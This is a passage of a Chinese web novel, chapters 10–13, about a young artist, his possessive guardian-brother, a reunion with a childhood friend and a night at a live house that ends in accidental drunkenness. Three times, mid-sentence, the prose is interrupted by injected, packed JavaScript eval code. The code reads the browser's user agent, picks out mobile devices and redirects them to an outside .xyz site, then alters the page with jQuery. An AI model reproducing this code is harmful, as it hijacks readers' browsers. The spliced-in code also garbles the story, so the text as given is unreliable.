宁笙闻言抬眸,他不太习惯这种场合,只是点了点头。或许是他敏感,总觉得对方的眼神有些怪怪的。 李总又转向靳穆然,语气带着讨好:“靳董,不知道您什么时候有空,我想请您吃个饭,聊聊盛禾的后续合作……” “你可以和唐秉预约时间。”靳穆然打断他,语气没什么起伏。 李总脸上闪过一丝尴尬,但很快又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411801|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆起笑容:“好好,那我就不打扰您和宁少爷了。”他识趣地退开了。 等人走远,靳穆然的手机震动起来,来电显示是唐秉。 “我去接个电话。”他对宁笙说了一句,走到旁边安静处接起。 “靳董,您要的监控已经调出来发到您手机上了。”唐秉语速很快,从电话那边清晰的传过来:“现场一共五个人,都是市场部今年入职的普通职员。” 盛禾高层经过一轮大洗牌,只留下小部分元老派。市场部和采购部是他们安插自己人的重点区域。 “嗯。”靳穆然应了一声,“让他们都滚了。” 唐秉怔了怔,怕自己没听清或者听错了:“所有吗?其实视频我看过了,始作俑者只有一两个,其他人都是附和为主。” 靳穆然回头看宁笙柔和的侧脸,“全部,不用我再说第二遍了。” 声音很冷,唐秉立刻意识到自己多嘴了,“明白。” “以后别让宁笙在公司听到这些。” 靳穆然很快挂了电话走回来,宁笙抬头问:“唐秘书有事?” “一点公司的事。”靳穆然轻描淡写的带过,看宁笙吃得差不多了,把一个无花果奶油小蛋糕推过去:“吃点甜的。” 宁笙尝了尝,果然是他喜欢的口味,他满足地眯了下眼。 他吃了一大半,摸了摸满足的肚子心心念念去看画。 靳穆然接过叉子,挖了一小块递到他嘴边:“吃完,别浪费。” 宁笙愣了一下,感觉到周围投来的目光。 他有点不自在,但还是张嘴接了,耳根有点发烫:“哥哥,这么多人看着呢……” 靳穆然像没听见,看他吃完才放下叉子:“看就看了。” 画廊布置得很有讲究,打光摆位缺一不可,能看出馆主是个很有品味的人。 宁笙喜欢的Gilbert Williams是M国一位著名的幻觉艺术家。画画风格非常灵动梦幻,极具超现实主义。 最让他吃惊的是,这里竟然有好几幅藏品!估计是馆主在各个拍卖会搜罗的。 靳穆然爱极了他雀跃兴奋的小表情,唇角微微翘起,眼睛仿佛有星空:“笙笙如果喜欢,可以买回家里。” “真的吗?”宁笙一瞬间心动了。 不过君子不夺人所好,如果馆主不舍得他也不会强求。 靳穆然让他在原地等几分钟,他去和馆主洽谈买画的事情。不过那边一堆宾客喝酒聊天,他不想宁笙参与进来。 走了两步还是不太放心,宁笙小脸皱起一团:“哥哥我真的不会乱跑,我还没有看够呢,丢不了。” 靳穆然给了小费旁边的侍应生,让他帮忙盯着宁笙。 宁笙站在展览墙前看得专注,旁边忽然有人插话。 “这是Gilbert Williams《梦中的世界》系列的其中一幅,看似抽象迷离的元素,其实大部分都是他的梦境。” 宁笙没看来人,认同地点点头,“想去却不可触及之地。” 旁边的人轻轻笑了一笑,“看来我们俩的品味还挺像的。” 宁笙终于侧过脸去看他,灯下站着一个身形高大的男生,气质清隽温和,眼神正专注地盯着他:“还记得我吗?宁笙。” ……谁啊?他从小到大朋友不多,除了读书认识的顾嘉言和林也,就剩以前住他家隔壁的小葡萄了。 等等—— 宁笙睁大眼睛,不可置信道:“你、小葡萄?!” 11. 第11章 对方似乎很高兴,眉眼弯起时有小时候的影子:“阿笙还记得我。” 记得是记得,但是—— 宁笙将他从头到脚打量一遍,先是注意到他头顶的【85%】,然后悄悄咬紧了后槽牙。 不是…… 他记得以前他们身高差不多啊,怎么十年不见小葡萄变异成大高个了?M国的风水特别养人吗? 小葡萄大名池叙,宁笙刚认识他时,以为对方是女孩子。 这个真的不能怪他! 谁能想到,一个七八岁的小男孩会留着长头发,整天穿各种精致繁复的公主裙,还有小皮鞋和蕾丝短袜呢? 池叙的妈妈心心念念想要女儿。 结果接连生了两个儿子,只好把小的那个,也就是池叙当成洋娃娃养了。每天都乐此不疲地给他打扮得漂漂亮亮。 那时候的池叙安静乖巧,宁笙特别喜欢和他玩。后来他们全家移民去了M国,渐渐就没了联系。 “好巧啊,你什么时候回国的?” “大概一个月前。”池叙回答,他的目光落在宁笙脸上,带着一种专注的打量,“这里有部分藏品是我继父提供的,所以我也收到了晚宴邀请。”他顿了顿,唇角弧度更深了些,“阿笙好像没怎么变。” 宁笙睫毛扬起:“行啊池叙,现在都玩起艺术品了。阿姨身体怎么样?你哥哥也跟着一起回来了吗?” 池叙眼里的光芒沉了一下,“都挺好的,我妈妈有时候也提起你。” 两人顺势重新加了联系方式。 宁笙看他头像是只圆滚滚的金色小猫,正踹着手手一脸傲娇地看镜头,立刻来了兴致:“这是你养的猫猫吗?胖乎乎的好可爱,叫什么名字?” 他向来对这种毛茸茸的小动物没有抗拒。 “是一只金渐层,叫……蛋黄。你喜欢的话,改天可以来我家撸猫。它很亲人,脾气很好。我还养了一只马尔济斯小狗。” 池叙给他看相册里的照片,米色的长毛狗狗别着草莓发卡,身上还穿着漂亮的小裙子,眼睛乌溜溜的像毛绒玩偶。 哇!宁笙眨着眼睛,满满的羡慕。 他立刻就在心里做出了决定。 回去之后,必须软磨硬泡靳穆然,说什么也得让他同意自己养一只狗,誓不罢休! 两人继续闲聊了一会儿,池叙接了个电话就要走了。他看向宁笙:“那说好了,改天约时间来看蛋黄,它一定很喜欢你。” …… 靳穆然真的从馆主手里买下了那幅画。只是听说花了近一倍的价格,对方才愿意忍痛割爱。 宁笙高兴得当即抱住他哥,回家后就把画挂在了最显眼的位置。 每天经过都会忍不住欣赏好久。 然后灵感大爆发画了一组OC,评论区的粉丝们又是一顿“太太放饭”的欢天喜地。 新增粉丝里有个IP显示是同城。 宁笙点进去看了看,头像背景全是黑,昵称也只是一个符号。 不知道为什么,他总觉得有些怪怪的。难不成是认识的人? “笙笙,下课了还不走?” 顾嘉言拍了拍他的肩膀,见他盯着手机出神,不由凑过来好奇道:“我们画师太太在看什么呢这么入迷?又涨粉了?” “没什么。”宁笙收起手机,抿着唇笑了笑,“发了新图看看反馈而已。” 林也家里有事请了假,所以今天就宁笙和顾嘉言两人。 刚拐过通往校门口的主干道,宁笙余光就瞥到了一个人——李乐回。 一身柠檬黄的球衣再加上热粉色球鞋,头顶的数字几天不见竟然升到了【95%】。 搞什么?他最近没有接触过对方啊? 宁笙脸色微变,拉住一脸懵逼的顾嘉言钻进了旁边的一条小路。 “哎?怎么了笙笙?”顾嘉言被他拽得一个趔趄。 “看见李乐回了。”宁笙白净的脸带了一丝愠意,脚步加快,只想尽快远离那个烦人精。 顾嘉言一听也明白了,立刻跟上。 两人像做贼一样绕了一大圈远路,直到确认彻底甩掉对方,宁笙才松了口气,额头上都冒出了一层细汗。 “真是服了,他怎么阴魂不散的。”顾嘉言抱怨道。 “算了,别管他了。” 宁笙和顾嘉言挥手道别,上了车才发现接自己的人是并不是靳穆然。 年轻男人穿着一身利落干练的西装,在副驾驶上朝宁笙微笑问好:“小宁总,我是新来的助理方晁,靳董临时有个会走不开,所以让我过来接你。” 宁笙知道靳穆然的工作一直很忙,在家也会时常看见他书房的灯亮到深夜。 为数不多的几次去公司更不用说了。 乌泱泱一群人围着他,不是开会就是汇报,光是看着就觉得头昏脑涨。 方晁问:“小宁总打算直接回家还是?” 宁笙看向车窗外,天快黑了,靳穆然这个点还开会那得几点下班? 他抿起唇瓣,吐出几个字:“去公司。” 方晁并没有多问,立刻让司机掉头去了盛禾大厦的方向。 …… 宁笙这一次来公司,从进入一楼大堂就感觉异样。 所有人规规矩矩地低着头,一点八卦的眼神都不敢给。只是在宁笙经过时,会小声恭敬地叫他小宁总。 宁笙歪头:“……我长得很可怕吗?” 方晁正给他按电梯,眼前的年轻男孩粉发肤白,一双琥珀眼漂亮得如同宝石,“小宁总别开玩笑了。” 不过他虽然进入盛禾不久,却知道靳董严禁公司里的人私下讨论小宁总,一旦发现就得立刻走人。 宁笙出了电梯,熟门熟路地摸到了高层会议室,里面灯火通明,数十人一脸严肃不知在讨论什么。 唐秉戴着眼镜,手指噼里啪啦敲着键盘,一脸苦大仇深。抬头看见门口探头探脑的宁笙,忽然有种救星来了的既视感! “老板,小宁总过来了。”他小声提醒。 “嗯。”靳穆然的声音传来,似乎比平时低沉沙哑一些,“各位也都累了,休息十五分钟再回来继续吧。” 话音落地,高层们都迫不及待地起身去外面透透气。 宁笙发现靳穆然办公室里多了个超大的零食柜,书架上也放了许多他爱看的漫画,估计是怕他无聊。 他随手拿了本下来翻了翻,还没开始看呢,靳穆然就回来了。 “笙笙这么晚了怎么还来公司?方晁呢?”他哥穿着黑色衬衫,英俊的脸庞线条依然冷峻利落,一副要兴师问罪的样子。 但宁笙一眼就看出来他不太对劲。 眼睛里布满红血丝,脸色苍白中透着一点不正常的红晕。 宁笙伸出手背贴了贴靳穆然的额头。 靳穆然似乎想避开他的手,但没来得及,“笙笙!” “哥哥,你发烧了。”宁笙眉头立刻皱紧了,“什么时候的事?生病怎么还在工作呢?让覃医生过来给你看看吧。” 靳穆然只得无奈道:“没事,低烧而已,已经吃过药了。” “你管这样程度叫低烧?”宁笙抬眸看他,眼睛里全是你看我信吗? 这温度一摸就知道是39° ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411802|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以上,他体质不好经常感冒发烧,对这方面可有经验。 再说了,往常他有一点生病不舒服时,靳穆然都是不由分说地把他关在家里,乖乖吃药哪也不许去。 怎么到了他哥自己身上,就是另一套标准了呢? 靳穆然唇线抿得发白,像是在忍耐着什么。 赵鼎丰纵横商海多年,最清楚靳穆然如今为什么有底气和他叫板。 然而盛禾对于鼎丰集团来说,实力差距相当于蚍蜉撼树。再加上现在多个项目进展到关键时期,他必须未雨绸缪,时刻盯紧每一个可能出错的环节。 再退一万步来说,他可以过穷日子,宁笙可以吗?哪怕他愿意,他也绝对不舍得宁笙为钱烦恼一秒。 “真的没事。”靳穆然深呼吸一口气,语气尽量放得平稳,“我让方晁先送你回家,哥哥忙完就会回去。” “我回什么家?”宁笙难得语气强硬地打断他,“要回去也是我们一起回,你这个样子怎么能一个人待着?” 靳穆然垂眸看他,心脏软软塌下一角,“笙笙,这里有很多人。” 宁笙立刻瞪回去,漂亮的眼睛里满是坚持和不容拒绝:“他们跟我能一样吗?哥哥你不听话那下次我也不听话。回家吃药休息和去医院你选一个。” 靳穆然看着他倔强的模样,脸颊微微鼓着,连那颗小痣也格外鲜明。 他沉默了几秒:“……好,听你的。” …… 到家宁笙就半拖着靳穆然回房间了。 学着他哥照顾人的样子,问他难不难受,渴不渴,又把空调温度调高了一点。 督促他立刻去床上躺着,然后自己就像只忙碌的小蜜蜂。 让佣人找出体温计和退烧药,看着靳穆然吃下去。然后把儿童专用退烧贴,方方正正地贴在他的额头上。 这样的靳穆然太少见了。 本来是有点滑稽可笑的,但宁生撇了撇嘴笑不出来。往日里雷厉风行的卷王、看似永不停歇的精密机器,其实今年也不过是二十多岁的年轻男人。 “哥哥饿不饿?要不要喝点粥?”宁笙俯在他耳边,小声问道。 靳穆然躺在床上,因为发烧,平日里锐利的目光此刻显得有些迷朦。 他看着宁笙为自己忙前忙后、一脸担忧的样子,心底最柔软的地方像是被什么东西轻轻撞了一下。 “不太饿,”他声音沙哑,“别忙了,坐下歇会儿。” 宁笙却不肯闲下来,又跑去倒了杯温水放在床头柜上备用。然后搬了把椅子坐在床边,一副要坚守岗位的架势。 药效渐渐上来,靳穆然的呼吸变得均匀绵长,似乎睡着了。 宁笙盯着他头顶的数字好一会儿。 白色发光字体变得模糊透明了些。原来这个东西还会根据人的状况发生变化么? 好神奇。 宁笙凑了过去,想研究得更清楚一些,沉睡中的靳穆然仿佛梦到了什么,强有力的手臂把人一揽,他就被禁锢在了怀里。 男人的体温滚烫得不可思议,就连吐息也很热,仿佛能把人灼伤。 宁笙皱着眉动了动,他哥竟然把他搂的更紧了。 胸腔里的心脏剧烈跳动,一下一下传过来,耳朵有些嗡嗡的。 靳穆然不知道梦见了什么,呼吸越来越急促,干燥发红的薄唇翕动着,声音很低:“笙笙,不许……” 宁笙没怎么听清,他贴过去靳穆然深邃的脸庞,小声问:“哥哥你在说什么?不许……?不许我干嘛?” 靳穆然呼吸急促,猛然睁开了眼睛,近在咫尺的宁笙四目相对—— 12. 第12章 宁笙一开始以为靳穆然醒了,小声叫了他两声没反应。 黑玉般的瞳孔一直锁定他,清晰倒映着他的表情,呼吸很急促,仿佛依然被困在炽热混乱的梦境中。 宁笙被他看得心跳漏了一拍,提高音量唤道:“哥哥?” 那声音仿佛从很远的地方传来,穿透了层层令人眷恋又不愿醒来的梦境。 靳穆然眼皮颤动了一下,视线终于艰难地凝聚。 宁笙的脸庞与他梦中旖旎纠缠的人重叠。 他下意识就松开了环抱的手臂,强压下翻涌的心绪,嗓音艰涩到至极:“我刚刚……有没有说什么?” 宁笙眨了眨眼,回想了一下:“没听太清,就好像说了句……不许什么?哥,你不许我干嘛?” 不是吧?难不成在他哥的梦里,自己也是一个到处捣蛋的惹祸精吗? 生病了还惦记着他不许这个不许那个。 他语气里带了点纯粹的天真,眼神清澈,没有丝毫厌恶的异样。 靳穆然紧绷的心弦骤然一松,他捂着唇咳嗽了几声,目光掠过宁笙莹白的锁骨和喉结。 梦里的缠绵开始不受控制地闪过脑海。 也是在这个房间,这张床。 宁笙浑身潮湿泛红,细白的双腿·缠着他,低头一口咬在他的喉结上。 令人迷醉的馥郁香气从他嘴唇里钻出来:“穆然哥哥……” 他想起宁笙小时候也是这样。 在自己看书或写字时,搬个小椅子坐在旁边乖巧地玩玩具,偶尔抬起脸软软叫一声“穆然哥哥”。 一晃多年,那个需要他庇护的小朋友已经长大,而他开始不满足于仅仅是守护。 意识到自己对宁笙的喜欢后,他花了很长时间去控制。 尝试戒断关于他的一切,退回一个正常的位置。 然而事与愿违,当他意识到自己没办法放弃喜欢宁笙后,他已经因为长期的自我压抑,患上了严重的皮肤饥渴症。 严格来说,这并不是一种临床上的医学诊断疾病。 而是由于需求长期无法获得满足,而导致的心理疾病。 渴求……拥抱、肌肤相触。 只有这样才能带来缓解焦虑,带来强烈的愉悦感。 接受心理诊断时,他的情况已经很严重。 他的咨询师也严肃提过,与宁笙的每一次接触都无异于饮鸩止渴。 他对他的渴求不会减少,只会与日俱增。直到有一天彻底失控—— 他习惯了掌控有关宁笙的一切,习惯了他全然的依赖和信任。 如果他们的关系发生质变…… 他微微闭了闭眼,再睁开时,眼底是一片深不见底的暗海。 …… 宁笙这两天没什么课,收到了去池叙家撸猫撸狗的邀请。 靳穆然只在家休息了一天,就回公司处理工作了,他身体还没彻底好全,所以声音在电话里听起来有些沙哑。 “到了地方把定位发给我,定时回消息。做不到的话下次你就别想去了。” “知道了知道了。”宁笙抿着唇,给自己定了几个闹钟:“放心吧哥哥,我闹钟都调好了,不会忘的。” 池叙从M国回来后,搬到了市中心的一个高层公寓。 宁笙让家里司机送到小区门口,就让他先回去了。 电梯直达顶层,门一开,池叙已经在等着。 “阿笙来得挺快。”池叙引他进去,“拖鞋在那边柜子,自己换就行。” 宁笙刚换好鞋,一只米色的马尔济斯犬摇着尾巴跑过来蹭他脚踝。 这小狗还挺自来熟的,宁笙忍不住把它抱起来打量。还穿着粉红色的小纱裙,小辫子上两个蝴蝶结。 真的太像玩偶了!简直萌出一脸血! 一只胖乎乎的金渐层蹲在墙角暗中观察,似乎纠结要不要过去。 宁笙想起它的名字叫蛋黄,笑眯眯叫它:“蛋黄,过来给我摸摸?” 小猫咪歪着脑袋看他,没什么反应。 “蛋黄比较怕生。”池叙介绍,“雪球比较自来熟。” 宁笙蹲下来,轻轻抚摸马尔济斯犬柔软的长毛,小狗舒服地往他手心里钻,尾巴摇得像个螺旋桨。 玩归玩,他还想着靳穆然的叮嘱,拿出手机发了定位,还附带几张他撸狗的照片。 对面的靳穆然几乎秒回:“别摸太久,你很容易狗毛过敏。” 池叙递给他一杯水,看着宁笙低头看手机的样子,随口问:“家里人查岗啊?” 宁笙收起手机,嘴巴翘着:“是我哥哥靳穆然,小时候你也见过的。” 说完他又挠了挠雪球的下巴,小狗开心地舔他的手。 池叙拿着狗零食的手顿了一下,脑海闪过那人冰冷疏离的眼神:“好像是有些印象,阿笙和他还住在一起吗?” “我和我哥不住一起住哪里?”宁笙有些奇怪地看他一眼,“虽然我也很想尝试自己住,但是我哥不放心,只好作罢啦。” 池叙很淡地笑了笑,“你们感情还挺好的。我哥很久之前就不管我了。” “那阿姨也不管你吗?” “她……比较忙。我和我继父住在一起比较多。” 宁笙对池叙的继父没什么印象,只记得是个高大的年轻男人。好像长得挺帅的,貌似是M国混血。 两人聊了会儿童年趣事,小猫咪蛋黄观察许久,终于勇敢迈出了第一步。 宁笙抱起蛋黄深深吸了一口,又叫了它的名字几次,小猫咪歪着头疑惑地看他,好像听不懂。 逗了一会儿猫狗,宁笙起身想去洗手间。 池叙指了指走廊尽头:“右边那间。” 宁笙顺着方向走去,经过一扇门时发现它有些不同。 深色的实木门,看起来比公寓里其他门都要厚重,而且装的是指纹密码锁,发出微弱的亮光。 他上完洗手间出来,忍不住又看了一眼那扇门。 其他房间的门都是开着的,唯独这间显得格外神秘。 池叙注意到他的目光,主动解释道:“那个房间是用来放艺术藏品的。装了恒温恒湿系统,所以门做得比较密封。” 原来如此,宁笙点了点头,没再多问。 手机忽然震了一下,他原以为是靳穆然的消息,拿起来一看才发现不是。 【顾嘉言】:笙笙!海城新开了家超棒的live house,我搞到了开业体验优惠,你要不要过来凑凑热闹?柴犬转圈圈.Jpg。 【顾嘉言】:来不来?我叫了林也,这小子已经在打车过来的路上了。 宁笙:“……” 顾嘉言到底哪里搞来这么多开业优惠的? 十有八九又是兼职。 听林也说过顾嘉言从高中起就跟打工皇帝似的,兼职的足迹遍布海城。 一开始宁笙还以为他经济困难,也提出过帮助他。后来才知道,顾嘉言纯粹就是享受赚钱的快乐。 他甚至还想过翘课去跑直播外卖。 林也吐槽他别太过分了,好歹专业课不能落下,顾嘉言听了才悻悻作罢。 至于live house……宁笙咬了咬唇,秀气的眉心微微蹙起。 靳穆然管得严,这种地方平时绝不会让他去。 但是今天难得有借口出来,不去的话,下次不知道猴年马月了。 没错!宁笙在心里给自己打气。都是成年人了,见见世面怎么了? 池叙看他琉璃般的眼珠转了又转,问道:“怎么了阿笙,要回去了?” 宁笙忽然想起池叙也是刚回国,估计没去过这里。纠结不到半分钟就做了决定:“晚上有事吗?跟我去个地方?” …… 顾嘉言兼职的live house就在海边。店面不大,胜在氛围十足。 沙滩上搭建了宽阔音乐的舞台,LED屏幕闪动着画面,旁边还放了一个巨型泡泡机,五彩缤纷的气泡在夜空中飞舞。 宁笙一到地方就被吸引住了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411803|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仰起头去追逐那些亮晶晶的气泡,海风吹起他的樱花般的粉色头发,巴掌大的脸莹润生光,眼底仿佛有星空在摇晃。 池叙静静看了他很久,海浪声、音乐声统统消失,只有胸腔里的心跳声。 宁笙回过头,看见池叙头顶的数字变成了【86%】。他现在已经差不多习惯这玩意儿了,看见变化也能保持淡定。 横竖目前没什么不好的事情发生,就先这么着吧。既来之,则安之。 顾嘉言早就等在门口,看到宁笙立刻挥手,好奇地看向他身后的池叙。 “笙笙!这位是……?” “这是我小时候的玩伴,池叙。”宁笙介绍道:“这是我的好兄弟顾嘉言。” “你好。”池叙微笑着点头。 “你好你好!池叙哥,快请进!”顾嘉言热情地引他们进去。 内部空间很有设计感,灯光幽暗,背景音是低沉的爵士乐。 林也比他们早到了,坐在一个落地窗边的位置。既能看见舞台上的表演,又不用一直被海风吹着。 顾嘉言忙着招呼,很快端来几杯饮料:“尝尝招牌特调,无酒精的!” 手机闹钟响起,宁笙先给他哥发了消息:“穆然哥哥,我在池叙这再玩一会儿游戏,可能会晚点回家。” 另一头的靳穆然盯着手机屏幕,眉间骤然发紧。 他这两天生病其实状态一般,压着唇角不说话时,脸色相当骇人。 会议室里正在汇报工作的高层立刻噤声。 见他在屏幕上回了几个字后,呼吸变得更沉。空气中死一般寂静,谁也不敢没眼力见的催促。 大概过了十分钟,桌面上的手机依然安安静静。 靳穆然站起身去窗边打电话,一瞬间会议室的灯都暗了几分。 忙音无人接听,在场的人都嗅到一种山雨欲来的压抑。 唐秉揉了揉太阳穴,盲猜是那位小祖宗又联系不上了。 但同时他又挺能理解的,小宁总又不是小动物,哪能整天这么关起来呢? …… 宁笙拿起杯子喝了一口,酸甜清爽,还有浓郁的柑橘果香,是他喜欢的味道。 林也尝试了一下,“好喝是好喝,就是没什么劲儿,跟果汁似的。” 顾嘉言白了林也一眼,“你要喝有酒精的是吧?行行行我给你拿。不过宁笙可不能喝哈。要是被靳哥知道我给你喝酒,我肯定见不到明天的太阳。” 池叙坐在宁笙旁边,默默喝了口,那个人把宁笙盯得这么紧吗? 不过仔细想想,好像从小就是这样了。 他还记得宁笙来他家炫耀自己从天而降一个帅气哥哥。会教他写作业,会给他讲故事,甚至会哄他睡觉。 他在宁笙的嘴里听到无数关于他的事情。 却在第一次见面时意识到,那人的本质有多么冷淡漠然。 他的所有耐心以及专注力,都给了宁笙。 池叙神色忽冷,站起身道:“我去下洗手间。” 气氛热烈,音乐声越来越大,宁笙又喝了好几口。 过了一会儿,顾嘉言被同事叫走:“兄弟们我先去干活,林也你盯着宁笙,你也别喝太多了啊。” 宁笙点点头,感觉有点热,他拿起杯子一饮而尽。 果香味依然很浓郁,浓到脑子有点晕乎乎的,他以为是错觉,没太在意。 林也渐渐意识到不对劲了,这酒好像并不是无酒精的。 等池叙回来,发现宁笙脸颊泛着红,眼神有点迷茫地靠在沙发上。 “宁笙?”池叙察觉不对,轻轻拍了拍他的肩膀。 顾嘉言这时过来了,被宁笙醉醺醺的样子吓了一跳:“卧槽!笙笙怎么了?无酒精也能喝醉吗?” “嗯?”宁笙反应慢半拍,粉白的脸像颗桃子,“……什么东西在响?” 这里音乐声太大了,手机铃声几乎听不见。 说完他开始到处翻找,最后口袋里拿出一个疯狂震动的手机。 13. 第13章 顾嘉言看见屏幕上的来电显示,就跟看见定时炸弹一样,浑身的汗毛瞬间竖了起来。 完了完了完了—— 心底疯狂响起那个人机电子音:救救我救救我! 林也摇了摇脑袋,放下杯子凑过来:“顾嘉言你这酒是不是拿错了?我也开始上头了。这玩意儿喝起来酸甜可口,后劲还挺大的。” 顾嘉言看了看醉醺醺的宁笙,着急得像热锅上的蚂蚁。 宁笙被靳穆然管得严,从来没有接触过酒精。所以才会这么菜鸡,一喝就倒。 他觉得眼前的世界五光十色的,梦幻又迷离,像极了Gilbert Williams的画作。 他眼睛亮亮的,嘴里嘟囔着好美,试图站起来。 顾嘉言吓坏了,手忙脚乱地按住他:“宁笙醉成这样怎么办?靳哥要是知道了会不会把我灭口啊?你们快想想办法!” 林也一脸同情地看他:“坦白从宽,我最多帮你背个监管不力的锅。” 铃声一直响到挂断。顾嘉言还没来得及喘口气,又继续打进来。 在场的几个人都沉默了。心知再不接,后果只会愈发严重。 第三次打进来时,顾嘉言咬咬牙,一脸视死如归地接了电话。 对面低沉的男声立刻传了过来,隐隐压抑着怒气。 “宁笙,你今天出门答应过我什么?” 林也和顾嘉言对视一眼,知道今天是躲不过去了。 “靳、靳哥?我是顾嘉言。宁笙他不小心喝了酒,现在情况不太好。” 电话那头沉默了一瞬。 再开口时,靳穆然的声音冷得能结霜:“地址发我,看着他,我马上到。” 电话立刻被挂断了,林也赶紧把地址发了过去。 六神无主的顾嘉言也没法干活,只好守着开始说胡话的宁笙。 池叙给宁笙拿了热水,“阿笙,喝两口热的缓缓。” 宁笙看了看他手里的杯子,捂着嘴巴摇摇头,怎么也不肯喝一口。 池叙见他湿润的眼睛眯着笑,还想伸手去拿酒杯。 “阿笙还想喝酒是吗?” 宁笙立刻点点头,林也和顾嘉言连忙阻止:“可别喝了小祖宗!你才喝一两杯就醉成这样,再喝下去你不得断片儿啊?!” 二十分钟后。 一个高大的身影疾步穿过人群走来。 贴身剪裁的深色西装让他轮廓格外锋利,仿佛一把透着寒光的利刃,光看着就有生人勿近的威压。 live house里的灯光昏暗,不少人的目光注视着他。 即使气场冷峻淡漠,依然有人蠢蠢欲动地想上去搭讪。 靳穆然径直走向卡座里那个东倒西歪的宁笙。 瓷白的小脸甚至锁骨都染上一层绯红,发尾藏着的耳朵更是红得滴血。 他眼睛定定看着自己,眼底一片晴光潋滟。 “靳哥……”顾嘉言吓得声音都变了调。 靳穆然没看他,直接走到宁笙面前,手掌摸了摸他的脸颊:“宁笙?” 他没注意到身旁的池叙,因为他这个动作而握紧了拳头。 宁笙晕乎乎地眨了眨眼,看清来人后露出一个甜甜的笑容,张开手臂直接挂在了靳穆然身上:“哥哥!你来啦!嘿嘿……” 靳穆然身体一顿,下意识稳稳接住他。 怀里的人很软乎,像没有骨头似的,浓郁的果香扑面而来。 宁笙有些站不住,像树袋熊一样紧紧搂住他的脖子,声音黏糊糊:“哥哥……天上好多云彩,还有月亮和星星……好美。” 林也试图解释:“靳哥,嘉言不小心拿错饮料了,其实笙笙就喝了一两杯。” 顾嘉言不敢看靳穆然的表情,一味点头附和:“我真不是故意的!再给我一百个胆子我也不敢灌醉他!” 宁笙窝在靳穆然的怀里,嘴里还在不停地嘟囔:“哥哥……这里的果汁真的很好喝,你也尝尝吧。” 靳穆然脸色难看,手臂抱着宁笙防止他掉下去:“好喝也不许再喝了。” 池叙盯着男人落在宁笙腰侧的手掌,抿了抿唇角,他不能再看了。 宁笙听了很沮丧,不理解为什么靳穆然不让他再喝了。但他头晕没法深入思考,很快又把这个话题抛到脑后。 顾嘉言再次道歉:“靳哥,真的很抱歉,我们真不是故意的。” 靳穆然没有说什么,宁笙这个样子当务之急是先回家,责怪再多也是于事无补:“人我先带走了。” 顾嘉言暂时躲过一劫,终于松了口气。 舞台上的表演气氛正热,满天的气泡和荧光飞舞。 宁笙抬起头眼睛追着,嘴巴里不停“哇塞哇塞”,还伸出手想去抓气泡。 靳穆然嫌不干净,不让他去抓,“宁笙,听话!” 宁笙倔强起来也是很难缠,最后没办法,他只能众目睽睽之下把人扛在肩上带走。 司机把车开进了沙滩边上,不少年轻人围过来举着手机偷拍。 “我去?定制版劳斯莱斯幻影!颜色好特别啊!大佬也来这种地方消遣吗?” “上面的小金人真是纯金的吗?好想伸手摸一摸。不过这么贵的车就这么开进沙地,不心疼啊?” “可能是租的吧?特意开到这种地方炫耀的呗,装货的心你们不懂。” 靳穆然沉着脸越过他们。 一群人看他脸色就知道这人不好惹,赶紧收了话题一哄而散。 他把宁笙塞进了后座,气归气,但还是收着劲儿,没摔疼他。 挡板一升,车内空间密闭,宁笙身上独有的味道和淡淡酒气弥漫开来。 “哇,这里也有好多星星。”宁笙看着车顶,伸出手指一个个数:“一二三四……不对,三四五六……” 数了几个来回也数不清,靳穆然怕他头晕就不让他数了。 宁笙躺在他大腿上安分了没两分钟,闹着非要坐起来。 他趴在窗沿上看外面喧闹的街景,有人在遛小猫小狗,他含糊道:“小猫咪……过来让我抱抱……狗狗不乖噢。” 靳穆然深呼吸一口气,下颌线绷得死紧。 宁笙今天出门的借口就是所谓的捋猫捋狗,结果呢,明明去了酒吧却扯谎说在池叙家里打游戏。 靳穆然觉得自己也有错,错在不该一时心软! 在宁笙搬出这个十几年没见过、不知来路的童年玩伴时,竟然会答应让他出门。 再不济,也应该让方晁跟着。 他沉着脸把宁笙揽过来,声音极冷:“到底是谁不乖?出门时是怎么跟我说的?宁笙,你现在还学会说谎了是吗?” 宁笙手臂被他攥得发疼,有些抗拒,“放开,我手疼……” 靳穆然盯着他的眼睛,恐怕连自己是谁都分不清,“我问你,我是谁?” 宁笙打了个酒嗝,皱眉道:“穆然哥哥啊,我刚刚不是叫过你了……” “那你还记得你说过会听我的话吗?” 宁笙没回答他,司机开得很快,晃得他胃里翻江倒海的。 “今天只是喝错酒,那么下次呢?万一有人在你的杯子里放了不该放的东西,你想过后果吗,宁笙?” 靳穆然想到一层,心里一阵阵彻骨的后怕。 在他眼里宁笙哪怕是掉了一小片指甲也是很严重的伤。这种意识几乎已经刻入骨髓,形成条件反射。 